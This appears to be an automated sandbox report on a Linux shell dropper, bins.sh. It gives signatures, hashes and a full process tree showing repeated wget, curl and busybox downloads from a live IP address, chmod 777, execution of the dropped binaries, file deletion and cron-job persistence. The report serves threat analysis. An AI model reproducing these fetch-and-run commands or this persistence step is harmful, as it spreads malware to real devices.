Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 10:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d2d1ede0b3c7ba6a1e47da01f8fd982e

  • SHA1

    36a1960017d2e69ad34ffcd58356cd98d806deab

  • SHA256

    e417d8ef5673d87d5b11f06ddab0035af5c4a77b3338ab5dc1a9500c7fd0bdba

  • SHA512

    8026c23c4a3243d724e6af46b6966aa34cbaa59e1e684bb770013f07594f370e49a35d1b440eda48e49948b30cf7c6e0abc84083a31305d4acb7d84906043f1e

  • SSDEEP

    192:ugUL/nPKWF9aaG1p5KyCT3+8njd7al1p5KyOzgUR/nPKW6:c/nPKWF9aabT3+8h7aKz/nPKW6

Malware Config

Signatures

  • Contacts a large (1540) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:771
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:774
              • /usr/bin/wget
                wget http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:775
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:791
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:794
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:798
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:800
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:801
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:802
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:803
                • /bin/rm
                  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:805
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:816
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:829
                • /bin/chmod
                  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Executes dropped EXE
                  PID:843
                • /bin/rm
                  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /bin/chmod
                    chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:849
                  • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:850
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:852
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:853
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:854
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:855
                      • /bin/rm
                        rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                        2⤵
                          PID:857
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                            PID:860
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                            2⤵
                              PID:861
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                              • Writes file to tmp directory
                              PID:862
                            • /bin/chmod
                              chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                              • File and Directory Permissions Modification
                              PID:947
                            • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                              • Executes dropped EXE
                              PID:948
                            • /bin/rm
                              rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                                PID:950
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                2⤵
                                  PID:951
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                  2⤵
                                    PID:952
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:953
                                  • /bin/chmod
                                    chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:954
                                  • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                    • Executes dropped EXE
                                    PID:955
                                  • /bin/rm
                                    rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                      PID:957
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                      2⤵
                                        PID:958
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                        2⤵
                                          PID:959
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:960
                                        • /bin/chmod
                                          chmod 777 aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:961
                                        • /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          ./aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Executes dropped EXE
                                          PID:962
                                        • /bin/rm
                                          rm aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                            PID:964
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
                                            2⤵
                                              PID:965

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                                            Filesize

                                            111KB

                                            MD5

                                            701e7a55a4f3650f5feee92a9860e5fc

                                            SHA1

                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                            SHA256

                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                            SHA512

                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                          • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                                            Filesize

                                            122KB

                                            MD5

                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                            SHA1

                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                            SHA256

                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                            SHA512

                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                          • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /var/spool/cron/crontabs/tmp.mHCfU7

                                            Filesize

                                            210B

                                            MD5

                                            5f59824550c5ce8c1661005f59fe07d1

                                            SHA1

                                            45f2d433e2ef2e51abc52127f525bba63065b969

                                            SHA256

                                            df1d5ad917848878cfe6656acd93beea624ce7d8f9a0a8cdc4e194dc5294d70b

                                            SHA512

                                            552f392ccbc6eaef3c11c59d98f5241ec92f91609ff2815721d37328a65f2485f7014f8357a053cca5680bcc2ddbaf35d5a6b62a6b73e2bd54ac59191d6736c4